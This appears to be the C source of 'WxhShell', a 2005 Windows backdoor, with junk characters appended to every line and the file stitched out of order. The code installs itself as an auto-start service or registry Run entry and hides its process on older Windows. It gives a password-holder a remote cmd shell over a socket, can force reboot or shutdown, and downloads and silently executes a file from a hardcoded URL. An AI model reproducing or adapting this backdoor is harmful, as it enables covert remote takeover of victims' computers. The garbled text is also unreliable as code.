  // 关机 8Jp?@qt=$  
  case 'd': { $(OL#>9Ly  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G%i&C)jZ  
    if(Boot(SHUTDOWN)) ~"wnlG-:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ; +Ie<oW  
    else { @8:c3 (!  
    closesocket(wsh); =KnHa.%  
    ExitThread(0);  s-&i!d  
    } (tzAUrC  
    break; 4 BNbS|?vV  
    } &#~U1: 0  
  // 获取shell u`-:'@4  
  case 's': { %)^0NQv  
    CmdShell(wsh); KO}TCa  
    closesocket(wsh); -W})<{End  
    ExitThread(0); #a8i($k{e  
    break; 1OqVNp%K  
  } f_hG2Sk  
  // 退出 $m+Pl[s  
  case 'x': { *_Pkb.3R  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); jlUT9Zp  
    CloseIt(wsh); A9[D.W9>  
    break; w#bdb;  
    } cyL|.2,  
  // 离开 oK"#*n  
  case 'q': { A v/y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); uIJ zz4  
    closesocket(wsh); ?4Zo0DiUB  
    WSACleanup(); #X5Tt  ;  
    exit(1); N$ 2Iz  
    break; vDc&m  
        } MpIP)bdq7  
  } PbMvM  
  } sP8_Y,  
IUh)g1u41O  
  // 提示信息 n.P $E  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ye  >+  
} )$2h:dw_  
  } g%4=T~  
n0^3F1Z  
  return; [ID#P Ule  
} ;b, bHL  
'w\Gd7E  
// shell模块句柄 gaL.5_1  
int CmdShell(SOCKET sock) C\ cZ  
{ zfGr1;  
STARTUPINFO si; a-5#8  
ZeroMemory(&si,sizeof(si)); gkx<<)y l  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ve(@=MJ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e#tWQM3  
PROCESS_INFORMATION ProcessInfo; y#lg)nB  
char cmdline[]="cmd"; w /CD-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9v}vCg  
  return 0; twPD'X!r  
} 6wyhL-{:  
42DB0+_wz  
// 自身启动模式 ob(~4H-  
int StartFromService(void) k@2@%02o9C  
{ ]5eZLXM  
typedef struct yf e4}0}  
{ 0:>C v<N  
  DWORD ExitStatus; Yp9%u9tNq  
  DWORD PebBaseAddress; hB]<li)"C  
  DWORD AffinityMask; Ng1[y4R}  
  DWORD BasePriority; X.ZY1vO  
  ULONG UniqueProcessId; Z3A"GWY  
  ULONG InheritedFromUniqueProcessId; -/6Ms%O  
}   PROCESS_BASIC_INFORMATION; 5 |oi*b  
z8w@pT  
PROCNTQSIP NtQueryInformationProcess; 7!8R)m^1[  
xa%2w]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; J)=Ts({  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =Xb:.  
,V=]QHcg  
  HANDLE             hProcess;  OV$|!n  
  PROCESS_BASIC_INFORMATION pbi; dxWG+S  
8d\/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Oj.xJ(uX+v  
  if(NULL == hInst ) return 0; st(Y{Gs  
'Z^KpW  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "NO*(<C.R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &vS@-K  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;8<lgZ9H<  
Kdd5ysTQ  
  if (!NtQueryInformationProcess) return 0; #TY[\$BHs  
5%XEybc2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]4-t*Em  
  if(!hProcess) return 0; ~2U5Wt  
)%(H'omvl  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; T Z@S?r>^  
WLN;LT  
  CloseHandle(hProcess); zB)wY KwZ  
( ESmP  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \EeK<)4:  
if(hProcess==NULL) return 0; mF] 8  
~C;gEE-  
HMODULE hMod; EcmyY,w  
char procName[255]; 1cPjgBxv#  
unsigned long cbNeeded; 'tzN.p1O  
Q!}LtR$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); hk+"c^g:j<  
si>gYO  
  CloseHandle(hProcess); {DGnh1  
*[wj )  
if(strstr(procName,"services")) return 1; // 以服务启动 L@LT*M  
83YQ c  
  return 0; // 注册表启动 U~[ tp1Z)  
} wE09%  
zRF +D+  
// 主模块 $8Y|& P  
int StartWxhshell(LPSTR lpCmdLine) wg 6  
{ _,]@xFCOH  
  SOCKET wsl; `}&}2k  
BOOL val=TRUE; LDq(WPI1#  
  int port=0; nM&UdKf3  
  struct sockaddr_in door;  ,L7:3W  
Eg|C  
  if(wscfg.ws_autoins) Install(); :l?/]K  
B"fKv0  
port=atoi(lpCmdLine); /kK:{  
@ Yzj  
if(port<=0) port=wscfg.ws_port; 91j.%#[v'  
t_ZWd#x+;  
  WSADATA data; .2:S0=xt<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Z?tw#n[T  
F6 c1YI[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    8&KqrA86  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]u@`XVEJ  
  door.sin_family = AF_INET; pj9s=}1 '  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,O ]AB  
  door.sin_port = htons(port); 2*@.hBi  
5!^DKyw:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }=JuC+#~n  
closesocket(wsl); 05Go*QvV  
return 1; rA#Ji~  
} Y!L<& sl   
G .k\N(l  
  if(listen(wsl,2) == INVALID_SOCKET) { [I7([l1Wvd  
closesocket(wsl); #R$[?fW  
return 1; e.ksN  
} t+Rt*yjO  
  Wxhshell(wsl); dsUY[X-<6  
  WSACleanup(); 04cNi~@m  
r:uW(<EP^  
return 0; Di8;Tq  
2 VGGSLr  
} %G>V .d  
u9R:2ah&K  
// 以NT服务方式启动 4Z<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) y1 53ax  
{ qJrMr4:F  
DWORD   status = 0; 1(12`3  
  DWORD   specificError = 0xfffffff; ;Q} H'Wg,  
4 Gm(P~N  
  serviceStatus.dwServiceType     = SERVICE_WIN32; N: Zf4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; gR:21*&cz  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |Zrkk>GW:  
  serviceStatus.dwWin32ExitCode     = 0; "sU  ~|  
  serviceStatus.dwServiceSpecificExitCode = 0; [ O"8Tzr  
  serviceStatus.dwCheckPoint       = 0; `OmYz{*r  
  serviceStatus.dwWaitHint       = 0; L=WB'*N  
4\%XC F!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); mrz@Y0mgL  
  if (hServiceStatusHandle==0) return; D&r2k 9  
J=qPc}+  
status = GetLastError(); bP,_H  
  if (status!=NO_ERROR) E)7ODRVbl  
{ p~w|St 7jg  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *=ymK*  
    serviceStatus.dwCheckPoint       = 0; r@m2foaO  
    serviceStatus.dwWaitHint       = 0; -P3;7_}]:h  
    serviceStatus.dwWin32ExitCode     = status; ,dIo\Lm  
    serviceStatus.dwServiceSpecificExitCode = specificError; #XlE_XD  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `2Oh0{x0*O  
    return; @Ui dQX"b  
  } {<3>^ o|"  
[5Dg%?x  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #UpxF?A(  
  serviceStatus.dwCheckPoint       = 0; kGX;x}q  
  serviceStatus.dwWaitHint       = 0; ]\t+zF>&Y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); HGjGV]N5  
} cWA$O*A  
E@F:U*A6%  
// 处理NT服务事件,比如:启动、停止 xz$S5tgDQK  
VOID WINAPI NTServiceHandler(DWORD fdwControl) c_r&)8  
{ w+0Ch1$  
switch(fdwControl) N%.Dj H  
{ 5{&<X.jv  
case SERVICE_CONTROL_STOP: TGJ\f  
  serviceStatus.dwWin32ExitCode = 0; zUhJr$N$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?~5J!|r#  
  serviceStatus.dwCheckPoint   = 0; Xqac$%[3  
  serviceStatus.dwWaitHint     = 0; 32sb$|eQq  
  { KVrK:W--p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mTW@E#)n  
  } `1[GY){?)  
  return; bu2'JIDR  
case SERVICE_CONTROL_PAUSE: t[ZumQ@HC  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !F|iL  
  break; k5@_8Rc  
case SERVICE_CONTROL_CONTINUE: UUt631  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; p3NTI/-  
  break; Pyx$$cj  
case SERVICE_CONTROL_INTERROGATE: |e@Bi#M[  
  break; 6v9{ $:  
}; O<x53MN^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +RO=a_AS  
} [,|Z<  
[n_H9$   
// 标准应用程序主函数 Dg LSDKO!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Y{8L ~U:  
{ ^8V cm*  
U&|$B|[  
// 获取操作系统版本 PUN.nt  
OsIsNt=GetOsVer(); o\luE{H .?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (qP !x 2j  
0P_Y6w+  
  // 从命令行安装 nAp7X-t  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4D/mm(2d$  
>)N}V'9  
  // 下载执行文件 Mlpq2I_x  
if(wscfg.ws_downexe) { _5nQe !  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "F+Wo&  
  WinExec(wscfg.ws_filenam,SW_HIDE); Yb|zE   
} 2Z-BZuK6p  
3o'SY@'W  
if(!OsIsNt) { rGZ@pO2  
// 如果时win9x,隐藏进程并且设置为注册表启动 IP1|$b}sq  
HideProc(); Wb4%=2Qn  
StartWxhshell(lpCmdLine); \4SFD 3$&  
} uK?T <3]'  
else $Q:5KNF+p  
  if(StartFromService()) JHf}LZu  
  // 以服务方式启动 iDO~G($C  
  StartServiceCtrlDispatcher(DispatchTable); "*@iXJxv5  
else y(RbW_ ?  
  // 普通方式启动 g"3h#SMb  
  StartWxhshell(lpCmdLine); NRKAEf_#w  
uREc9z `Q'  
return 0; ~P5!VNJ;r  
} omV.Qb'NS  
Dz&4za+{  
b)u9#%Q  
``kKi3TWJ  
=========================================== r)mm8MI!Z  
)N-+,Ms  
q\[31$i$  
@ %z5]w  
l1o dkNf|  
rr4yJ;qpeP  
" p Nu13o~  
-}UC daQ3  
#include <stdio.h> 0zpP$q$  
#include <string.h> ,Z%!38gGsu  
#include <windows.h> gzDb~UEoF  
#include <winsock2.h> 9w Kz p  
#include <winsvc.h> _<.R\rX&  
#include <urlmon.h> q<JI!n1O  
_>5BFQ_  
#pragma comment (lib, "Ws2_32.lib") gWS4 9*O  
#pragma comment (lib, "urlmon.lib") #%e`OA(b  
a~ REFy  
#define MAX_USER   100 // 最大客户端连接数 [jumq1  
#define BUF_SOCK   200 // sock buffer B>47Ic  
#define KEY_BUFF   255 // 输入 buffer ]dDyz[NuvD  
N13 <!QQ  
#define REBOOT     0   // 重启 CWkm\=  
#define SHUTDOWN   1   // 关机 No[xf9>t  
&F#X0h/m=  
#define DEF_PORT   5000 // 监听端口 bi^LpyEn  
i6m;2 UAa  
#define REG_LEN     16   // 注册表键长度 ecf7g)+C  
#define SVC_LEN     80   // NT服务名长度 xDr *|d  
l}AB):<Z  
// 从dll定义API ^:-%tpB#!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); nTu"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); oS_p/$F,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <R{\pz2w  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8}\"LXRbo  
&P ;6P4x  
// wxhshell配置信息 sCb?TyN'n  
struct WSCFG { "<O?KO 3K  
  int ws_port;         // 监听端口 m Xw1%w[*  
  char ws_passstr[REG_LEN]; // 口令 !9)*.9[8  
  int ws_autoins;       // 安装标记, 1=yes 0=no dy`~%lX?  
  char ws_regname[REG_LEN]; // 注册表键名 1xtbhk]D  
  char ws_svcname[REG_LEN]; // 服务名 g dC=SFb b  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )QZ?Bf  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6ldDt?iSg  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &2\.6rb.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9DtSYd/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _X.M,id  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &P {%C5?{  
*/8\Z46z  
}; {{DW P-v4  
oW+R:2I~O  
// default Wxhshell configuration ]c5GG!E-g  
struct WSCFG wscfg={DEF_PORT, orU4{.e  
    "xuhuanlingzhe", mU&J,C  
    1, qbAoab53  
    "Wxhshell", 4t8 Hy  
    "Wxhshell", Vfw$>og!  
            "WxhShell Service", f:utw T  
    "Wrsky Windows CmdShell Service", E_yh9lk  
    "Please Input Your Password: ", &FanD   
  1, zu|pL`X  
  "http://www.wrsky.com/wxhshell.exe", lMO0d_:b1  
  "Wxhshell.exe" \R#XSW,  
    }; q5RLIstQ\  
mA>Pr<aV:  
// 消息定义模块 Sdt @"6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,vhR99g{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; xjX5PQu  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; OIWo* %  
char *msg_ws_ext="\n\rExit."; $4M3j%S  
char *msg_ws_end="\n\rQuit."; ]CL70+[^9  
char *msg_ws_boot="\n\rReboot..."; L]tyL)  
char *msg_ws_poff="\n\rShutdown..."; G/`_$ c  
char *msg_ws_down="\n\rSave to "; 3?}SXmA'@  
|F=^Cu,  
char *msg_ws_err="\n\rErr!"; O>>8%=5Q  
char *msg_ws_ok="\n\rOK!"; yi%B5KF~Al  
QWP_8$Q  
char ExeFile[MAX_PATH]; &`%C'KZ  
int nUser = 0; 7v:;`6Jb  
HANDLE handles[MAX_USER]; %Mu dc  
int OsIsNt; WMC6 dD_6e  
4v?S` w:6  
SERVICE_STATUS       serviceStatus; !kz\ {  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; k4l72 'P  
`150$*K&B  
// 函数声明 (nzzX?`nY  
int Install(void); D6m>>&E['  
int Uninstall(void); Gce_gZH7{  
int DownloadFile(char *sURL, SOCKET wsh); j"dbl?og  
int Boot(int flag); oyd{}$71d  
void HideProc(void); m8f_w  
int GetOsVer(void); U--ER r8  
int Wxhshell(SOCKET wsl); [zfGDMG&  
void TalkWithClient(void *cs); KVntBe]I  
int CmdShell(SOCKET sock); ~lL($rE  
int StartFromService(void); %$}iM<  
int StartWxhshell(LPSTR lpCmdLine); qy]-YJZ  
b13>>'BMB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); s6 ^JgdW  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &, )tD62s  
:H87x?e[  
// 数据结构和表定义 :=8vy  
SERVICE_TABLE_ENTRY DispatchTable[] = RU'J!-w{  
{ 1hN! 2Y:  
{wscfg.ws_svcname, NTServiceMain}, _1Eyqh`oh  
{NULL, NULL} ls5S9R 5  
}; MWuVV=rd8a  
"N;|~S)w!  
// 自我安装 S,v`rmI  
int Install(void) - t+Mh.  
{ WV% KoM,%  
  char svExeFile[MAX_PATH]; g?`J,*y  
  HKEY key; I F@M  
  strcpy(svExeFile,ExeFile); Nf~<xK  
-Z@ p   
// 如果是win9x系统,修改注册表设为自启动 O| 2Q- @D  
if(!OsIsNt) { r5"/EMieh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E0|aI4S4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 83 n: h08  
  RegCloseKey(key); N$+"zJmw&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0Nfj}sXCWE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3m^BYr*y^  
  RegCloseKey(key); 'ZDclz9}  
  return 0; _`\INZe-G  
    } C+mU_g>  
  } f0F$*"#G  
} F, "x~C  
else { DjKjEZHgM  
Z*)<E)  
// 如果是NT以上系统,安装为系统服务 bODl q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); uu:)jxi  
if (schSCManager!=0) Dn[1BWM/7  
{ `4=b|N+b"  
  SC_HANDLE schService = CreateService $1v5*E  
  ( 4|(?Wt)5  
  schSCManager, A_.QHUjpx  
  wscfg.ws_svcname, |); >wV"  
  wscfg.ws_svcdisp, \x!>5Z Y  
  SERVICE_ALL_ACCESS, LWI~m2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Hj!)S&y,$  
  SERVICE_AUTO_START, D)_Ei'+*l  
  SERVICE_ERROR_NORMAL, {G}HZv%S U  
  svExeFile, ,uv$oP-  
  NULL, Yx"z&J9 p  
  NULL, --9mTqx  
  NULL, =%3nKSg  
  NULL, lm|`Lh-  
  NULL ZeeuH"A  
  ); |(%H O@i  
  if (schService!=0) )>fi={!=c  
  { e-VL U;  
  CloseServiceHandle(schService); !r|X6`g  
  CloseServiceHandle(schSCManager); j#&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >=V+X"\Z  
  strcat(svExeFile,wscfg.ws_svcname); ZwMw g t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <-F"&LI{<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); pV7Gh`<y  
  RegCloseKey(key); wGvgMZ]?'  
  return 0; AVp [gr  
    } +RkYW*|$S  
  } H[D/Sz5`  
  CloseServiceHandle(schSCManager); ]c)SVn$6  
} x}{VHp`|ld  
} h,x]  
fDd!Mt  
return 1; <IVz mzpL  
} yShHFlO=  
(5> ibe  
// 自我卸载 sYXS#;|M  
int Uninstall(void) e@OA>  
{ lQ/XJw  
  HKEY key; 'T[zh#v>S  
kgz{m;R  
if(!OsIsNt) { G)&'8W F5o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]lUu%<-;  
  RegDeleteValue(key,wscfg.ws_regname); o(P:f)B  
  RegCloseKey(key); RY{tX`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g1~I*!p  
  RegDeleteValue(key,wscfg.ws_regname); hptuTBD  
  RegCloseKey(key); PlZ iTP  
  return 0; qedGBl&  
  } MbfzGYA2~  
} eEQ[^i  
} GcR`{ 3hO  
else { (5~C _Y  
B$l`9!,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5-^%\?,x  
if (schSCManager!=0) j;)g+9`  
{ ^%&x{F.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %K"%Qm=Tl  
  if (schService!=0) Jdn*?hc+  
  { d 4]%Wdvf  
  if(DeleteService(schService)!=0) { g5Rm!T+@I<  
  CloseServiceHandle(schService); s{e(- 7'  
  CloseServiceHandle(schSCManager); Ug21d42Z4  
  return 0; ^d80\PXz  
  } P0xLx  
  CloseServiceHandle(schService); !dY:S';~  
  } bZ.N7X PH  
  CloseServiceHandle(schSCManager); +ZKhmb!  
} iwQ-(GjM[A  
} "Vq]|j,B/c  
4Umsc>yfK  
return 1; aLi_Hrb9  
} Z~c'h  
M"^Vf{X^  
// 从指定url下载文件 5vf t}f  
int DownloadFile(char *sURL, SOCKET wsh) @@83PJFid  
{ _wNPA1q0J  
  HRESULT hr; b`W*vduf  
char seps[]= "/"; |*KS<iHr%  
char *token; "<x~{BN?  
char *file; lGUV(D  
char myURL[MAX_PATH]; oDP((I2-  
char myFILE[MAX_PATH]; </gp3WQ.  
AwU c{h l<  
strcpy(myURL,sURL); \oX8/-0f  
  token=strtok(myURL,seps); R:<@+z^A[  
  while(token!=NULL) _-]!;0E IV  
  { *W12Rb2  
    file=token; c1kxKxE  
  token=strtok(NULL,seps); /;AZ/Ocy!  
  } ]^9* t,{9  
y?n2`l7f  
GetCurrentDirectory(MAX_PATH,myFILE); =`~Z@IbdI  
strcat(myFILE, "\\"); t3t0vWE<,  
strcat(myFILE, file); i1I>RK  
  send(wsh,myFILE,strlen(myFILE),0); ~9r!m5ws  
send(wsh,"...",3,0); QaWHz   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $-Pqs ^g  
  if(hr==S_OK) _1<'"u#6w  
return 0; tRnW%F5  
else {Y91vXTz7  
return 1; 6@q[tN7_^  
oL'1Gm@X?  
} .3<IOtD=  
Jh4&Qh|t  
// 系统电源模块 3;MjO*-  
int Boot(int flag) 0^_lj9B!  
{ EB5_;  
  HANDLE hToken; Hpi%9SAM  
  TOKEN_PRIVILEGES tkp; `n`"g<K)Q  
'd #\7J>d  
  if(OsIsNt) { _/}Hqh  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); & 8' (  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1@^Ek8C  
    tkp.PrivilegeCount = 1; b/B`&CIA0"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Y^2Qxo3"3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); u:$x6/t  
if(flag==REBOOT) { j- YJ."  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) a4( ?]ND~6  
  return 0; rS )b1nPA  
} F`0c?)  
else { $tCcjBK\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {^2W>^  
  return 0; f{Fe+iPc  
} 'B (eMnLg  
  } LuP?$~z  
  else { hiRR+`L%  
if(flag==REBOOT) { cZr G:\A  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Vp $wHB&  
  return 0; ;DD>k bd  
} Q_aqX(ig  
else { >u5g?yzw  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 58&{5YpS  
  return 0; E8-fW\!F  
} l]Ui@X  
} r jL?eTU"s  
ZP6x  
return 1; 'Z.OF5|eGT  
} aLKMDiT  
v0`qMBr1y  
// win9x进程隐藏模块 h zZ-$IX X  
void HideProc(void) cc41b*ci$  
{ R6q4 ["  
z0 2}&^Zzk  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /&$"}Z6z  
  if ( hKernel != NULL ) TTZ['HP oI  
  { 1a&/Zlr  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5'X74`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); K)/!&{7n}a  
    FreeLibrary(hKernel); %e Sm&`  
  } y98JiNq  
cXS;z.M\_  
return; 0AK?{y U  
} jQ_dw\ {0  
l*K I  
// 获取操作系统版本 O xT}I  
int GetOsVer(void) mN\%f J7  
{ K lli$40  
  OSVERSIONINFO winfo; rToaGQh  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "[*S?QO(L  
  GetVersionEx(&winfo); /WgPXEB  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =Y &9 qt  
  return 1; ?aFr8i:)M  
  else BFMS*t`  
  return 0; 5 [ ,+\  
} 0{?: FQ#  
<E>7>ZL  
// 客户端句柄模块 5=Kq@[(4  
int Wxhshell(SOCKET wsl) C}mYt/  
{ eC6>yD6D  
  SOCKET wsh; \ fK47oV  
  struct sockaddr_in client; |P~O15V*Q  
  DWORD myID; GS ;HtUQ  
$A;7Em  
  while(nUser<MAX_USER) C}b|2y  
{ -ca7x`yo  
  int nSize=sizeof(client); . [T'yc:=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); uW}Hvj;0a*  
  if(wsh==INVALID_SOCKET) return 1; 4>4V-m\  
;w`sz.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *A?8F"6>  
if(handles[nUser]==0) {ExII<=6  
  closesocket(wsh); 9ZDVy7m\i-  
else FZe:co8Mu  
  nUser++; *.," N}  
  } O87"[c`>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); { p1lae  
v:r D3=M-  
  return 0; 6exI_3A4jh  
} YBX)eWslK  
(U|)xA]y!  
// 关闭 socket XC|*A$x,  
void CloseIt(SOCKET wsh) )v%l0_z{  
{ z,pNb%*O  
closesocket(wsh); -#LjI.  
nUser--; CO-Iar  
ExitThread(0); /8xH$n&xoC  
} N'I(P9@  
izMYVI?0  
// 客户端请求句柄 EjWgaV  
void TalkWithClient(void *cs) tT;8r8@  
{ gjW\ XY  
i[$-_  
  SOCKET wsh=(SOCKET)cs; .#*D!;f  
  char pwd[SVC_LEN]; +7V=aNRlE  
  char cmd[KEY_BUFF]; GI4?|@%vD!  
char chr[1]; <57g{e0I  
int i,j; vqq6B/r@Fu  
Y [W6Sc  
  while (nUser < MAX_USER) { \UQ9MX _  
;\N79)Gk  
if(wscfg.ws_passstr) { /"=29sWB  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Bk,2WtVX  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A9 U5,mOz  
  //ZeroMemory(pwd,KEY_BUFF); k+FMZ, D|  
      i=0; L e*`r2  
  while(i<SVC_LEN) { 0|g[o:;fl_  
WtIMvk  
  // 设置超时 }N?g|  
  fd_set FdRead; wHx}U M"  
  struct timeval TimeOut; :^ n*V6.4  
  FD_ZERO(&FdRead); YWEYHr;%^?  
  FD_SET(wsh,&FdRead); 6`acg'sk>  
  TimeOut.tv_sec=8; 0HqPyM13Q  
  TimeOut.tv_usec=0; $=/rGpAk  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Qh*)pt]n  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); lbRzx4=\y  
{$;2 HbM(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @B?FE\  
  pwd=chr[0]; _ w/_(k  
  if(chr[0]==0xd || chr[0]==0xa) { tl|ijR  
  pwd=0; C>^,*7dS  
  break; wb b*nL|P  
  } kP@H G<~  
  i++; IXnb]q.  
    } TN5>"? ?"  
oz LH]*  
  // 如果是非法用户,关闭 socket eNtf#Rqym  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); FC{})|yh }  
} a0PE^U  
` M:DZNy,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 42&v % ;R  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ML=eL*}l  
0Z"s_r}h  
while(1) { jgG$'|s}  
u^t$ cLIZ  
  ZeroMemory(cmd,KEY_BUFF); c&E]E(  
2`EVdl7B]  
      // 自动支持客户端 telnet标准   1B 5:s,Oyj  
  j=0; \wYc1M@7V  
  while(j<KEY_BUFF) { qe<Hfp/p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "Ht'{&  
  cmd[j]=chr[0]; XIKvH-0&  
  if(chr[0]==0xa || chr[0]==0xd) { 5$kdgFq(  
  cmd[j]=0; J96uyS*  
  break; :_v!#H)  
  } @OzMiN  
  j++; Hfh!l2P  
    } fN@{y+6  
pe.Ml7o"  
  // 下载文件 u"`*DFjo*  
  if(strstr(cmd,"http://")) { *7ZtNo[+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =_l)gx+Y+y  
  if(DownloadFile(cmd,wsh)) !scD|ti  
